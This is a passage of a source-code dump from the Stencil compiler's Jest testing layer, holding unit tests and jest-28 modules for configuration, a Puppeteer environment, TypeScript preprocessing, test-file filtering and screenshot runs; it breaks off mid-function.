expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/e2e.ts with no --e2e', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {};\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/e2e.ts with --spec', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/spec.ts with --e2e', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should use android userAgent from getEmulateConfigs', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ device: 'anDroiD' }, { device: 'iphone' }],\n    };\n    const flags: ConfigFlags = createConfigFlags({\n      emulate: 'Android',\n    });\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(1);\n    expect(emulateConfigs[0].device).toBe('anDroiD');\n  });\n\n  it('should use android user agent from getEmulateConfigs', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ userAgent: 'Mozilla/Android' }, { userAgent: 'SomeUserAgent/iPhone X' }],\n    };\n    const flags: ConfigFlags = createConfigFlags({\n      emulate: 'android',\n    });\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(1);\n    expect(emulateConfigs[0].userAgent).toBe('Mozilla/Android');\n  });\n\n  it('should use all configs from getEmulateConfigs by default', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ device: 'android' }, { device: 'iphone' }],\n    };\n    const flags: ConfigFlags = createConfigFlags();\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(2);\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/jest-serializer.spec.ts",
    "content": "import { MockDocument } from '@stencil/core/mock-doc';\n\nimport { HtmlSerializer } from '../jest-serializer';\n\ndescribe('serialize node', () => {\n  let doc: MockDocument;\n\n  beforeEach(() => {\n    doc = new MockDocument();\n    const div = doc.createElement('div');\n    div.innerText = 'Test';\n    doc.body.appendChild(div);\n  });\n\n  it('should be valid serializer', () => {\n    expect(HtmlSerializer.test(doc)).toBeTruthy();\n    expect(HtmlSerializer.test(doc.body)).toBeTruthy();\n  });\n\n  it('should generate serialized element', () => {\n    const result = HtmlSerializer.print(doc.body);\n    expect(result).toContain(`<div>`);\n  });\n\n  it('should serialize', () => {\n    expect.addSnapshotSerializer(HtmlSerializer);\n    expect(doc.body).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/jest-setup-test-framework.spec.ts",
    "content": "import { MockHTMLElement, MockNode } from '@stencil/core/mock-doc';\n\nimport { removeDomNodes } from '../jest-setup-test-framework';\n\ndescribe('jest setup test framework', () => {\n  describe('removeDomNodes', () => {\n    it('removes all children of the parent node', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      parentNode.appendChild(new MockHTMLElement(null, 'p'));\n\n      expect(parentNode.childNodes.length).toEqual(1);\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes.length).toBe(0);\n    });\n\n    it('does nothing if there is no parent node', () => {\n      const parentNode: MockNode | undefined = undefined;\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode).toBeUndefined();\n    });\n\n    it('does nothing if the parent node child array is empty', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      parentNode.childNodes = [];\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes).toStrictEqual([]);\n    });\n\n    it('does nothing if the parent node child array is `null`', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      // the intent of this test is to guard against null-ish childNodes, hence the type assertion\n      parentNode.childNodes = null as unknown as MockNode[];\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-config.ts",
    "content": "import type { Config } from '@jest/types';\nimport { BOOLEAN_CLI_FLAGS } from '@stencil/core/cli';\nimport type * as d from '@stencil/core/internal';\nimport { isString } from '@utils';\n\nimport { Jest28Stencil } from './jest-facade';\n\n/**\n * Builds the `argv` to be used when programmatically invoking the Jest CLI\n * @param config the Stencil config to use while generating Jest CLI arguments\n * @returns the arguments to pass to the Jest CLI, wrapped in an object\n */\nexport function buildJestArgv(config: d.ValidatedConfig): Config.Argv {\n  const yargs = require('yargs');\n\n  const knownArgs = config.flags.knownArgs.slice();\n\n  if (!knownArgs.some((a) => a.startsWith('--max-workers') || a.startsWith('--maxWorkers'))) {\n    knownArgs.push(`--max-workers=${config.maxConcurrentWorkers}`);\n  }\n\n  if (config.flags.devtools) {\n    knownArgs.push('--runInBand');\n  }\n\n  // we combine the modified args and the unknown args here and declare the\n  // result read only, providing some type system-level assurance that we won't\n  // mutate it after this point.\n  //\n  // We want that assurance because Jest likes to have any filepath match\n  // patterns at the end of the args it receives. Those args are going to be\n  // found in our `unknownArgs`, so while we want to do some stuff in this\n  // function that adds to `knownArgs` we need a guarantee that all of the\n  // `unknownArgs` are _after_ all the `knownArgs` in the array we end up\n  // generating the Jest configuration from.\n  const args: ReadonlyArray<string> = [...knownArgs, ...config.flags.unknownArgs];\n\n  config.logger.info(config.logger.magenta(`jest args: ${args.join(' ')}`));\n\n  const jestArgv = yargs(args).argv as Config.Argv;\n  jestArgv.config = buildJestConfig(config);\n\n  if (typeof jestArgv.maxWorkers === 'string') {\n    try {\n      jestArgv.maxWorkers = parseInt(jestArgv.maxWorkers, 10);\n    } catch (e) {}\n  }\n\n  if (typeof jestArgv.ci === 'string') {\n    jestArgv.ci = jestArgv.ci === 'true' || jestArgv.ci === '';\n  }\n\n  for (const flag of BOOLEAN_CLI_FLAGS) {\n    if (typeof jestArgv[flag] === 'string') {\n      jestArgv[flag] = jestArgv[flag] === 'true';\n    }\n  }\n\n  return jestArgv;\n}\n\n/**\n * Generate a Jest run configuration to be used as a part of the `argv` passed to the Jest CLI when it is invoked\n * programmatically\n * @param config the Stencil config to use while generating Jest CLI arguments\n * @returns the Jest Config to attach to the `argv` argument\n */\nexport function buildJestConfig(config: d.ValidatedConfig): string {\n  const stencilConfigTesting = config.testing;\n  const jestDefaults: Config.DefaultOptions = require('jest-config').defaults;\n\n  const validJestConfigKeys = Object.keys(jestDefaults);\n\n  const jestConfig: d.JestConfig = {};\n\n  Object.keys(stencilConfigTesting).forEach((key) => {\n    if (validJestConfigKeys.includes(key)) {\n      (jestConfig as any)[key] = (stencilConfigTesting as any)[key];\n    }\n  });\n\n  jestConfig.rootDir = config.rootDir;\n\n  if (isString(stencilConfigTesting.collectCoverage)) {\n    jestConfig.collectCoverage = stencilConfigTesting.collectCoverage;\n  }\n  if (Array.isArray(stencilConfigTesting.collectCoverageFrom)) {\n    jestConfig.collectCoverageFrom = stencilConfigTesting.collectCoverageFrom;\n  }\n  if (isString(stencilConfigTesting.coverageDirectory)) {\n    jestConfig.coverageDirectory = stencilConfigTesting.coverageDirectory;\n  }\n  if (stencilConfigTesting.coverageThreshold) {\n    jestConfig.coverageThreshold = stencilConfigTesting.coverageThreshold;\n  }\n  if (isString(stencilConfigTesting.globalSetup)) {\n    jestConfig.globalSetup = stencilConfigTesting.globalSetup;\n  }\n  if (isString(stencilConfigTesting.globalTeardown)) {\n    jestConfig.globalTeardown = stencilConfigTesting.globalTeardown;\n  }\n  if (isString(stencilConfigTesting.preset)) {\n    jestConfig.preset = stencilConfigTesting.preset;\n  }\n  if (stencilConfigTesting.projects) {\n    jestConfig.projects = stencilConfigTesting.projects;\n  }\n  if (Array.isArray(stencilConfigTesting.reporters)) {\n    jestConfig.reporters = stencilConfigTesting.reporters;\n  }\n  if (isString(stencilConfigTesting.testResultsProcessor)) {\n    jestConfig.testResultsProcessor = stencilConfigTesting.testResultsProcessor;\n  }\n  if (stencilConfigTesting.transform) {\n    jestConfig.transform = stencilConfigTesting.transform;\n  }\n  if (stencilConfigTesting.verbose) {\n    jestConfig.verbose = stencilConfigTesting.verbose;\n  }\n  if (typeof stencilConfigTesting.bail !== 'undefined') {\n    jestConfig.bail =\n      typeof stencilConfigTesting.bail === 'number' ? stencilConfigTesting.bail : stencilConfigTesting.bail ? 1 : 0;\n  }\n  if (stencilConfigTesting.prettierPath) {\n    jestConfig.prettierPath = stencilConfigTesting.prettierPath;\n  }\n  if (stencilConfigTesting.restoreMocks) {\n    jestConfig.restoreMocks = stencilConfigTesting.restoreMocks;\n  }\n\n  jestConfig.testRunner = new Jest28Stencil().getDefaultJestRunner();\n\n  return JSON.stringify(jestConfig);\n}\n\nexport function getProjectListFromCLIArgs(config: d.ValidatedConfig, argv: Config.Argv): string[] {\n  const projects = argv.projects ? argv.projects : [];\n\n  projects.push(config.rootDir);\n\n  return projects;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-environment.ts",
    "content": "import type { Circus } from '@jest/types';\nimport type { E2EProcessEnv, JestEnvironmentGlobal } from '@stencil/core/internal';\nimport { TestEnvironment as NodeEnvironment } from 'jest-environment-node';\n\nimport { connectBrowser, disconnectBrowser, newBrowserPage } from '../../puppeteer/puppeteer-browser';\nimport { JestPuppeteerEnvironmentConstructor } from '../jest-apis';\n\nexport function createJestPuppeteerEnvironment(): JestPuppeteerEnvironmentConstructor {\n  const JestEnvironment = class extends NodeEnvironment {\n    browser: any;\n    pages: any[];\n    testPath: string | null;\n\n    constructor(config: any, context: any) {\n      super(config, context);\n      // Initialize fields after super() to ensure parent's global is not overwritten\n      // (required for ES2022+ target where field initializers run after super())\n      this.browser = null;\n      this.pages = [];\n      this.testPath = context.testPath;\n    }\n\n    override async setup() {\n      if ((process.env as E2EProcessEnv).__STENCIL_E2E_TESTS__ === 'true') {\n        const globalContext = this.global as unknown as JestEnvironmentGlobal;\n        globalContext.__NEW_TEST_PAGE__ = this.newPuppeteerPage.bind(this);\n        globalContext.__CLOSE_OPEN_PAGES__ = this.closeOpenPages.bind(this);\n      }\n    }\n\n    /**\n     * Jest Circus hook for capturing events.\n     *\n     * We use this lifecycle hook to capture information about the currently running test in the event that it is a\n     * Jest-Stencil screenshot test, so that we may accurately report on it.\n     *\n     * @param event the captured runtime event\n     */\n    async handleTestEvent(event: Circus.AsyncEvent): Promise<void> {\n      // The 'parent' of a top-level describe block in a Jest block has one more 'parent', which is this string.\n      // It is not exported by Jest, and is therefore copied here to exclude it from the fully qualified test name.\n      const ROOT_DESCRIBE_BLOCK = 'ROOT_DESCRIBE_BLOCK';\n      if (event.name === 'test_start') {\n        const eventTest = event.test;\n\n        /**\n         * We need to build the full name of the test for screenshot tests.\n         * We do this as a test name can be the same across multiple tests - e.g. `it('renders', ()  => {...});`.\n         * While this does not necessarily guarantee the generated name will be unique, it matches previous Jest-Stencil\n         * screenshot behavior.\n         */\n        let fullName = eventTest.name;\n        let currentParent: Circus.DescribeBlock | undefined = eventTest.parent;\n        // For each parent block (`describe('suite description', () => {...}`), grab the suite description and prepend\n        // it to the running name.\n        while (currentParent && currentParent.name && currentParent.name != ROOT_DESCRIBE_BLOCK) {\n          fullName = `${currentParent.name} ${fullName}`;\n          currentParent = currentParent.parent;\n        }\n        // Set the current spec for us to inspect for using the default reporter in screenshot tests.\n        const globalContext = this.global as unknown as JestEnvironmentGlobal;\n        globalContext.currentSpec = {\n          // the event's test's name is analogous to the original description in earlier versions of jest\n          description: eventTest.name,\n          fullName,\n          testPath: this.testPath,\n        };\n      }\n    }\n    async newPuppeteerPage() {\n      if (!this.browser) {\n        // load the browser and page on demand\n        this.browser = await connectBrowser();\n      }\n\n      /**\n       * if the user had open pages before, close them all when creating a new one\n       */\n      await this.closeOpenPages();\n\n      const page = await newBrowserPage(this.browser);\n      this.pages.push(page);\n      // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n      const env: E2EProcessEnv = process.env as E2EProcessEnv;\n      if (typeof env.__STENCIL_DEFAULT_TIMEOUT__ === 'string') {\n        page.setDefaultTimeout(parseInt(env.__STENCIL_DEFAULT_TIMEOUT__, 10));\n      }\n      return page;\n    }\n\n    async closeOpenPages() {\n      await Promise.all(this.pages.filter((page) => !page.isClosed()).map((page) => page.close()));\n      this.pages.length = 0;\n    }\n\n    override async teardown() {\n      await super.teardown();\n      await this.closeOpenPages();\n      await disconnectBrowser(this.browser);\n      this.browser = null;\n    }\n\n    override getVmContext() {\n      return super.getVmContext();\n    }\n  };\n\n  return JestEnvironment;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-facade.ts",
    "content": "// @ts-ignore - without importing this, we get a TypeScript error, \"TS4053\".\n// eslint-disable-next-line @typescript-eslint/no-unused-vars\nimport type { Config } from '@jest/types';\n\nimport { JestFacade } from '../jest-facade';\nimport { createJestPuppeteerEnvironment } from './jest-environment';\nimport { jestPreprocessor } from './jest-preprocessor';\nimport { preset } from './jest-preset';\nimport { createTestRunner } from './jest-runner';\nimport { runJest } from './jest-runner';\nimport { runJestScreenshot } from './jest-screenshot';\nimport { jestSetupTestFramework } from './jest-setup-test-framework';\n\n/**\n * `JestFacade` implementation for communicating between this directory's version of Jest and Stencil\n */\nexport class Jest28Stencil implements JestFacade {\n  getJestCliRunner() {\n    return runJest;\n  }\n\n  getRunJestScreenshot() {\n    return runJestScreenshot;\n  }\n\n  getDefaultJestRunner() {\n    return 'jest-circus';\n  }\n\n  getCreateJestPuppeteerEnvironment() {\n    return createJestPuppeteerEnvironment;\n  }\n\n  getJestPreprocessor() {\n    return jestPreprocessor;\n  }\n\n  getCreateJestTestRunner() {\n    return createTestRunner;\n  }\n\n  getJestSetupTestFramework() {\n    return jestSetupTestFramework;\n  }\n\n  getJestPreset() {\n    return preset;\n  }\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-preprocessor.ts",
    "content": "import type { TransformedSource, TransformOptions } from '@jest/transform';\nimport { ts } from '@stencil/core/compiler';\nimport type { Diagnostic, TranspileOptions } from '@stencil/core/internal';\nimport { loadTypeScriptDiagnostic, normalizePath } from '@utils';\n\nimport { transpile } from '../../test-transpile';\n\n/**\n * Constant used for cache busting when the contents of this file have changed. When modifying this file, it's advised\n * this value be monotonically incremented.\n */\nconst CACHE_BUSTER = 8;\n\n/**\n * Fields containing the consuming library's `tsconfig.json#options` entry. The first is the original representation,\n * where the second is the stringified version. These fields are cached to prevent unnecessary I/O & repetitive\n * stringification of the read options. Note that this caching does not persist across multiple Jest workers (I.E.\n * every Jest worker will read the `tsconfig.json` file and stringify it's `options` entry.\n */\nlet _tsCompilerOptions: ts.CompilerOptions | null = null;\nlet _tsCompilerOptionsKey: string | null = null;\n\nexport const jestPreprocessor = {\n  /**\n   * Transforms a file to CommonJS to be used by Jest. The API for `process` is described in the\n   * [\"Writing custom transformers\"](https://jestjs.io/docs/code-transformation#writing-custom-transformers)\n   * documentation on the jest site. Unfortunately, the URL is not versioned at the time of this writing. For\n   * reference, the v28 docs were referenced.\n   *\n   * @param sourceText the contents of the source file\n   * @param sourcePath the path to the source file\n   * @param options the transformation options to apply to each file\n   * @returns the transformed file contents if the file should be transformed. returns the original source otherwise\n   */\n  process(sourceText: string, sourcePath: string, options: TransformOptions): TransformedSource {\n    const transformOptions = options.config;\n\n    if (shouldTransform(sourcePath, sourceText)) {\n      const opts: TranspileOptions = {\n        file: sourcePath,\n        currentDirectory: transformOptions.rootDir,\n      };\n\n      const tsCompilerOptions: ts.CompilerOptions | null = getCompilerOptions(transformOptions.rootDir);\n      if (tsCompilerOptions) {\n        if (tsCompilerOptions.baseUrl) {\n          opts.baseUrl = tsCompilerOptions.baseUrl;\n        }\n        if (tsCompilerOptions.paths) {\n          opts.paths = tsCompilerOptions.paths;\n        }\n        if (tsCompilerOptions.jsx !== undefined) {\n          opts.jsx = tsCompilerOptions.jsx;\n        }\n        // Override jsxImportSource to use internal/testing for Jest tests\n        // This ensures TypeScript emits imports from the testing bundle instead of jsx-runtime\n        if (tsCompilerOptions.jsxImportSource) {\n          opts.jsxImportSource = '@stencil/core/internal/testing';\n        }\n      }\n\n      const results = transpile(sourceText, opts);\n\n      const hasErrors = results.diagnostics.some((diagnostic) => diagnostic.level === 'error');\n\n      if (results.diagnostics && hasErrors) {\n        const msg = results.diagnostics.map(formatDiagnostic).join('\\n\\n');\n        throw new Error(msg);\n      }\n\n      return { code: results.code };\n    }\n\n    return { code: sourceText };\n  },\n\n  /**\n   * Generates a key used to cache the results of transforming a file. This helps avoid re-processing a file via the\n   * `transform` function unnecessarily (when no changes have occurred). The API for `getCacheKey` is described in the\n   * [\"Writing custom transformers\"](https://jestjs.io/docs/code-transformation#writing-custom-transformers)\n   * documentation on the jest site. Unfortunately, the URL is not versioned at the time of this writing. For\n   * reference, the v28 docs were referenced.\n   *\n   * @param sourceText the contents of the source file\n   * @param sourcePath the path to the source file\n   * @param options the transformation options to apply to each file\n   * @returns the key to cache a file with\n   */\n  getCacheKey(sourceText: string, sourcePath: string, options: TransformOptions): string {\n    const transformOptions = options.config;\n\n    if (!_tsCompilerOptionsKey) {\n      const opts = getCompilerOptions(transformOptions.rootDir);\n      _tsCompilerOptionsKey = JSON.stringify(opts);\n    }\n\n    const key = [\n      process.version,\n      _tsCompilerOptionsKey,\n      sourceText,\n      sourcePath,\n      options,\n      !!options.instrument,\n      CACHE_BUSTER,\n    ];\n\n    return key.join(':');\n  },\n};\n\nfunction formatDiagnostic(diagnostic: Diagnostic) {\n  let m = '';\n\n  if (diagnostic.relFilePath) {\n    m += diagnostic.relFilePath;\n    if (typeof diagnostic.lineNumber === 'number') {\n      m += ':' + diagnostic.lineNumber + 1;\n      if (typeof diagnostic.columnNumber === 'number') {\n        m += ':' + diagnostic.columnNumber;\n      }\n    }\n    m += '\\n';\n  }\n\n  m += diagnostic.messageText;\n\n  return m;\n}\n\n/**\n * Read the TypeScript compiler configuration file from disk\n * @param rootDir the location to search for the config file\n * @returns the configuration, or `null` if the file cannot be found\n */\nfunction getCompilerOptions(rootDir: string): ts.CompilerOptions | null {\n  if (_tsCompilerOptions) {\n    return _tsCompilerOptions;\n  }\n\n  if (typeof rootDir !== 'string') {\n    return null;\n  }\n\n  rootDir = normalizePath(rootDir);\n\n  const tsconfigFilePath = ts.findConfigFile(rootDir, ts.sys.fileExists);\n  if (!tsconfigFilePath) {\n    return null;\n  }\n\n  const tsconfigResults = ts.readConfigFile(tsconfigFilePath, ts.sys.readFile);\n\n  if (tsconfigResults.error) {\n    throw new Error(formatDiagnostic(loadTypeScriptDiagnostic(tsconfigResults.error)));\n  }\n\n  const parseResult = ts.parseJsonConfigFileContent(\n    tsconfigResults.config,\n    ts.sys,\n    rootDir,\n    undefined,\n    tsconfigFilePath,\n  );\n\n  _tsCompilerOptions = parseResult.options;\n  return _tsCompilerOptions;\n}\n\n/**\n * Determines if a file should be transformed prior to being consumed by Jest, based on the file name and its contents\n * @param filePath the path of the file\n * @param sourceText the contents of the file\n * @returns `true` if the file should be transformed, `false` otherwise\n */\nexport function shouldTransform(filePath: string, sourceText: string): boolean {\n  const ext = (filePath.split('.').pop() ?? '').toLowerCase().split('?')[0];\n\n  if (ext === 'ts' || ext === 'tsx' || ext === 'jsx') {\n    // typescript extensions (to include .d.ts)\n    return true;\n  }\n  if (ext === 'mjs') {\n    // es module extensions\n    return true;\n  }\n  if (ext === 'js') {\n    // there may be false positives here\n    // but worst case scenario a commonjs file is transpiled to commonjs\n    if (sourceText.includes('import ') || sourceText.includes('import.') || sourceText.includes('import(')) {\n      return true;\n    }\n    if (sourceText.includes('export ')) {\n      return true;\n    }\n  }\n  if (ext === 'css') {\n    // convert a standard css file into an NodeJS ready file\n    return true;\n  }\n  return false;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-preset.ts",
    "content": "import type { Config } from '@jest/types';\nimport { join } from 'path';\n\n/**\n * The path's declared below are relative. Specifically, they are relative to the location of this file after\n * compilation of the Stencil compiler has completed.\n */\nconst testingDir = __dirname;\nconst rootDir = join(testingDir, '..');\nconst internalDir = join(rootDir, 'internal');\n\n// NOTE: if you change this, also change compiler/transpile.ts. Search for 'mod_extensions_jest' to find other comments\n// like it.\nconst moduleExtensions = ['ts', 'tsx', 'js', 'mjs', 'jsx'];\nconst moduleExtensionRegexp = '(' + moduleExtensions.join('|') + ')';\n\nconst preset: Config.InitialOptions = {\n  moduleFileExtensions: [...moduleExtensions, 'json', 'd.ts'],\n  moduleNameMapper: {\n    '^@stencil/core/cli$': join(rootDir, 'cli', 'index.js'),\n    '^@stencil/core/compiler$': join(rootDir, 'compiler', 'stencil.js'),\n    '^@stencil/core/internal$': join(internalDir, 'testing', 'index.js'),\n    '^@stencil/core/internal/app-data$': join(internalDir, 'app-data', 'index.cjs'),\n    '^@stencil/core/internal/app-globals$': join(internalDir, 'app-globals', 'index.js'),\n    '^@stencil/core/internal/testing$': join(internalDir, 'testing', 'index.js'),\n    '^@stencil/core/mock-doc$': join(rootDir, 'mock-doc', 'index.cjs'),\n    '^@stencil/core/sys$': join(rootDir, 'sys', 'node', 'index.js'),\n    '^@stencil/core/testing$': join(testingDir, 'index.js'),\n    '^@stencil/core$': join(internalDir, 'testing', 'index.js'),\n  },\n  setupFilesAfterEnv: [join(testingDir, 'jest-setuptestframework.js')],\n  testEnvironment: join(testingDir, 'jest-environment.js'),\n  testPathIgnorePatterns: ['/.cache', '/.stencil', '/.vscode', '/dist', '/node_modules', '/www'],\n  testRegex: '(/__tests__/.*|\\\\.?(test|spec))\\\\.' + moduleExtensionRegexp + '$',\n  transform: {\n    '^.+\\\\.(ts|tsx|jsx|css|mjs)$': join(testingDir, 'jest-preprocessor.js'),\n  },\n  watchPathIgnorePatterns: ['^.+\\\\.d\\\\.ts$'],\n};\n\nexport { preset };\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-runner.ts",
    "content": "import type { AggregatedResult } from '@jest/test-result';\nimport type * as d from '@stencil/core/internal';\nimport { default as TestRunner } from 'jest-runner';\n\nimport type { ConfigFlags } from '../../../cli/config-flags';\nimport { setScreenshotEmulateData } from '../../puppeteer/puppeteer-emulate';\nimport { JestTestRunnerConstructor } from '../jest-apis';\nimport { buildJestArgv, getProjectListFromCLIArgs } from './jest-config';\n\nexport async function runJest(config: d.ValidatedConfig, env: d.E2EProcessEnv) {\n  let success = false;\n\n  try {\n    // set all of the emulate configs to the process.env to be read later on\n    const emulateConfigs = getEmulateConfigs(config.testing, config.flags);\n    env.__STENCIL_EMULATE_CONFIGS__ = JSON.stringify(emulateConfigs);\n    env.__STENCIL_ENV__ = JSON.stringify(config.env);\n    env.__STENCIL_TRANSPILE_PATHS__ = config.transformAliasedImportPaths ? 'true' : 'false';\n\n    if (config.flags.ci || config.flags.e2e) {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '30000';\n    } else {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '15000';\n    }\n    if (config.flags.devtools) {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '300000000';\n    }\n    config.logger.debug(`default timeout: ${env.__STENCIL_DEFAULT_TIMEOUT__}`);\n\n    // build up our args from our already know list of args in the config\n    const jestArgv = buildJestArgv(config);\n    // build up the project paths, which is basically the app's root dir\n    const projects = getProjectListFromCLIArgs(config, jestArgv);\n\n    // run the @jest/core with our data rather than letting the\n    // @jest/core parse the args itself\n    const { runCLI } = require('@jest/core');\n    const cliResults = (await runCLI(jestArgv, projects)) as {\n      results: AggregatedResult;\n    };\n\n    success = !!cliResults.results.success;\n  } catch (e) {\n    config.logger.error(`runJest: ${e}`);\n  }\n\n  return success;\n}\n\n/**\n * Creates a Stencil test runner\n * @returns the test runner\n */\nexport function createTestRunner(): JestTestRunnerConstructor {\n  class StencilTestRunner extends TestRunner {\n    override async runTests(tests: { context: any; path: string }[], watcher: any, options: any) {\n      const env = process.env as d.E2EProcessEnv;\n\n      // filter out only the tests the flags said we should run\n      tests = tests.filter((t) => includeTestFile(t.path, env));\n\n      if (env.__STENCIL_SCREENSHOT__ === 'true' && env.__STENCIL_EMULATE_CONFIGS__) {\n        // we're doing e2e screenshots, so let's loop through\n        // each of the emulate configs for each test\n\n        // get the emulate configs from the process env\n        // and parse the emulate config data\n        const emulateConfigs = JSON.parse(env.__STENCIL_EMULATE_CONFIGS__) as d.EmulateConfig[];\n\n        // loop through each emulate config to re-run the tests per config\n        for (let i = 0; i < emulateConfigs.length; i++) {\n          const emulateConfig = emulateConfigs[i];\n\n          // reset the environment for each emulate config\n          setScreenshotEmulateData(emulateConfig, env);\n\n          // run the test for each emulate config\n          await super.runTests(tests, watcher, options);\n        }\n      } else {\n        // not doing e2e screenshot tests\n        // so just run each test once\n        await super.runTests(tests, watcher, options);\n      }\n    }\n  }\n\n  return StencilTestRunner;\n}\n\nexport function includeTestFile(testPath: string, env: d.E2EProcessEnv) {\n  testPath = testPath.toLowerCase().replace(/\\\\/g, '/');\n\n  const hasE2E = testPath.includes('.e2e.') || testPath.includes('/e2e.');\n  if (env.__STENCIL_E2E_TESTS__ === 'true' && hasE2E) {\n    // keep this test if it's an e2e file and we should be testing e2e\n    return true;\n  }\n\n  if (env.__STENCIL_SPEC_TESTS__ === 'true' && !hasE2E) {\n    // keep this test if it's a spec file and we should be testing unit tests\n    return true;\n  }\n  return false;\n}\n\nexport function getEmulateConfigs(testing: d.TestingConfig, flags: ConfigFlags): d.EmulateConfig[] {\n  let emulateConfigs = testing.emulate?.slice() ?? [];\n\n  if (typeof flags.emulate === 'string') {\n    const emulateFlag = flags.emulate.toLowerCase();\n\n    emulateConfigs = emulateConfigs.filter((emulateConfig) => {\n      if (typeof emulateConfig.device === 'string' && emulateConfig.device.toLowerCase() === emulateFlag) {\n        return true;\n      }\n\n      if (typeof emulateConfig.userAgent === 'string' && emulateConfig.userAgent.toLowerCase().includes(emulateFlag)) {\n        return true;\n      }\n\n      return false;\n    });\n  }\n\n  return emulateConfigs;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-screenshot.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { join } from 'path';\n\nimport { runJest } from './jest-runner';\n\nexport async function runJestScreenshot(config: d.ValidatedConfig, env: d.E2EProcessEnv) {\n  config.logger.debug(`screenshot connector: ${config.testing.screenshotConnector}`);\n\n  const ScreenshotConnector = require(config.testing.screenshotConnector!) as any;\n  const connector: d.ScreenshotConnector = new ScreenshotConnector();\n\n  // for CI, let's wait a little longer than locally before taking the screenshot\n  const pixelmatchModulePath = join(config.sys.getCompilerExecutingPath(), '..', '..', 'screenshot', 'pixel-match.js');\n  config.logger.debug(`pixelmatch module: ${pixelmatchModulePath}`);\n\n  const initTimespan = config.logger.createTimeSpan(`screenshot, initBuild started`, true);\n  await connector.initBuild({\n    buildId: createBuildId(),\n    buildMessage: createBuildMessage(),\n    buildTimestamp: Date.now(),\n    appNamespace: config.namespace,\n    rootDir: config.rootDir,\n    cacheDir: config.cacheDir,\n    packageDir: join(config.sys.getCompilerExecutingPath(), '..', '..'),\n    updateMaster: !!config.flags.updateScreenshot,\n    logger: config.logger,\n    allowableMismatchedPixels: config.testing.allowableMismatchedPixels,\n    allowableMismatchedRatio: config.testing.allowableMismatchedRatio,\n    pixelmatchThreshold: config.testing.pixelmatchThreshold,\n    waitBeforeScreenshot: config.testing.waitBeforeScreenshot,\n    pixelmatchModulePath: pixelmatchModulePath,\n  });\n\n  if (!config.flags.updateScreenshot) {\n    await connector.pullMasterBuild();\n  }\n\n  initTimespan.finish(`screenshot, initBuild finished`);\n\n  const dataPromises = await Promise.all([await connector.getMasterBuild(), await connector.getScreenshotCache()]);\n\n  const masterBuild = dataPromises[0];\n  const screenshotCache = dataPromises[1];\n\n  env.__STENCIL_SCREENSHOT_BUILD__ = connector.toJson(masterBuild, screenshotCache);\n\n  const testsTimespan = config.logger.createTimeSpan(`screenshot, tests started`, true);\n\n  const passed = await runJest(config, env);\n\n  testsTimespan.finish(`screenshot, tests finished, passed: ${passed}`);\n\n  try {\n    const completeTimespan = config.logger.createTimeSpan(`screenshot, completeTimespan started`, true);\n    let results = await connector.completeBuild(masterBuild);\n    completeTimespan.finish(`screenshot, completeTimespan finished`);\n\n    if (results) {\n      const publishTimespan = config.logger.createTimeSpan(`screenshot, publishBuild started`, true);\n      results = await connector.publishBuild(results);\n      publishTimespan.finish(`screenshot, publishBuild finished`);\n\n      if (config.flags.updateScreenshot) {\n        // updating the master screenshot\n        if (results.currentBuild && typeof results.currentBuild.previewUrl === 'string') {\n          config.logger.info(config.logger.magenta(results.currentBuild.previewUrl));\n        }\n      } else {\n        // comparing the screenshot to master\n        if (results.compare) {\n          try {\n            await connector.updateScreenshotCache(screenshotCache, results);\n          } catch (e) {\n            config.logger.error(e);\n          }\n\n          config.logger.info(`screenshots compared: ${results.compare.diffs.length}`);\n\n          if (typeof results.compare.url === 'string') {\n            config.logger.info(config.logger.magenta(results.compare.url));\n          }\n        }\n      }\n    }\n  } catch (e) {\n    if (e instanceof Error) {\n      config.logger.error(e, e.stack);\n    } else {\n      config.logger.error(e);\n    }\n  }\n\n  return passed;\n}\n\nfunction createBuildId() {\n  const d = new Date();\n\n  let fmDt = d.getFullYear() + '';\n  fmDt += ('0' + (d.getMonth() + 1)).slice(-2);\n  fmDt += ('0' + d.getDate()).slice(-2);\n  fmDt += ('0' + d.getHours()).slice(-2);\n  fmDt += ('0' + d.getMinutes()).slice(-2);\n  